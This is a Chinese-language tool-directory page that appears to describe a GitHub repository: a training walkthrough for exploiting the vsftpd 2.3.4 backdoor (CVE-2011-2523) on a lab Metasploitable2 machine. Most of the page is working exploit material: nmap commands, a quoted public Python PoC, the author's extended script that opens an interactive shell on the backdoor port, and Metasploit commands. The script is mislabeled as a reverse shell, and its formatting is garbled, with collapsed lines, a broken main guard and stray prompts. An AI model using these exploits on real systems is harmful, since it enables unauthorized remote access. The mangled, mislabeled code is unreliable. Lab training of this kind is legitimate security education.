Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2011-2523 — 针对 vsftpd 2.3.4 后门(CVE-2011-2523)的手动与自动化利用演练,包含自定义反向 Shell 载荷及 Metasploit 集成,用于渗透测试培训。 | Kitploit
工具/GitHubGitHub/hklabcr/cve-2011-2523
漏洞利用框架漏洞分析漏洞利用CTF渗透测试学习与教育Payload 开发实验室与实践
GitHubhklabcr/cve-2011-2523

CVE-2011-2523

针对 vsftpd 2.3.4 后门(CVE-2011-2523)的手动与自动化利用演练,包含自定义反向 Shell 载荷及 Metasploit 集成,用于渗透测试培训。

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2011-2523

这些是在受控环境中创建攻击方法的笔记。前提是练习是黑盒测试,因此我不知晓受害者系统的信息。

1- 下载必要的ISO,包括metasploitable2和kali或其他发行版。 2- 重要的是环境配置在VMware中,因此两台机器必须在该虚拟机管理程序中运行。 3- 初始过程执行ip检查,验证两端是否存在连接。 4- 使用nmap -sV -Pn 192.168.253.128,一旦完成识别,我们发现多个端口: 21 ftp vsftpd 2.3.4

作为训练的一部分,旨在攻击每个端口以实现多种方式的入侵,我们从以下端口开始。将尝试模拟黑盒场景,以便尽可能解决或模拟真实条件。

利用端口21 FTP

开始使用nmap -Pn -sV 10.0.2.5。我们在公共数据库中搜索并找到CVE-2011-2523,这是一个后门,我们将尝试利用它来获取对受害主机的访问权限。

首先,我们必须理解在这个特定案例中,要进行的利用中存在一个后门。在尝试通过现有漏洞破坏该系统时,我们在packetstorm.news上找到了信息,其中提供了一个POC,证明可以利用,但并非完全功能,如下代码所示:

Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution

Date: 9-04-2021

Exploit Author: HerculesRD

Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html

Version: vsftpd 2.3.4

Tested on: debian

CVE : CVE-2011-2523

#!/usr/bin/python3

from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit

def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0)

signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str) args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line

user="USER nergal:)" password="PASS pass"

tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200) print('Success, shell opened') print('Send exit to quit shell') tn2.interact()

阅读代码可以理解,其目的是证明可以做到,而不是创建一个功能脚本。因此,为了进行更现实的练习,我进行了实质性修改,使其具有反向shell,从而在代码执行时提供更合适的访问。代码修改导致以下结果: #!/usr/bin/env python3

import socket import sys import time

def connect_ftp(host, port=21): try: s = socket.socket() s.connect((host, port)) banner = s.recv(1024).decode(errors='ignore') print(f"[+] FTP Banner: {banner.strip()}")

root@kitploit:~
    # Enviar payload del backdoor
    s.sendall(b'USER backdoor:)\r\n')
    time.sleep(0.5)
    s.sendall(b'PASS whatever\r\n')
    time.sleep(0.5)
    s.close()

    return True
except Exception as e:
    print(f"[!] Error conectando al FTP: {e}")
    return False

def connect_backdoor_shell(host, port=6200): try: print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...") shell = socket.socket() shell.settimeout(3) shell.connect((host, port)) print("[+] ¡Shell obtenida!")

root@kitploit:~
    while True:
        cmd = input("shell> ")
        if cmd.strip().lower() == "exit":
            break
        shell.sendall((cmd + "\n").encode())
        # Lee todos los datos disponibles hasta timeout
        output = b""
        while True:
            try:
                chunk = shell.recv(4096)
                if not chunk:
                    break
                output += chunk
                # Espera un poco para ver si hay más datos
                time.sleep(0.1)
            except socket.timeout:
                break
        if output:
            print(output.decode(errors='ignore'))
        else:
            print("[!] Sin respuesta del shell.")

    shell.close()

except Exception as e:
    print(f"[!] Falló al conectar con la shell: {e}")

if name == "main": if len(sys.argv) != 2: print(f"Uso: {sys.argv[0]} ") sys.exit(1)

root@kitploit:~
target_ip = sys.argv[1]
if connect_ftp(target_ip):
    time.sleep(1)  # Da tiempo al backdoor para abrir el puerto
    connect_backdoor_shell(target_ip)
else:
    print("[!] No se pudo conectar o el objetivo no parece vulnerable.")

由此可见,这可能是面对此示例的一种繁琐的手动方式,但目的是创建各种选项,以便在信息安全领域成长并提升技能。

另一种可以使用的方法是使用metasploit,如下所示: msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 10.0.2.5 run 如你所见,两者做的事情完全相同,只是一个是自动化的,另一个是更手动化的过程。

下载工具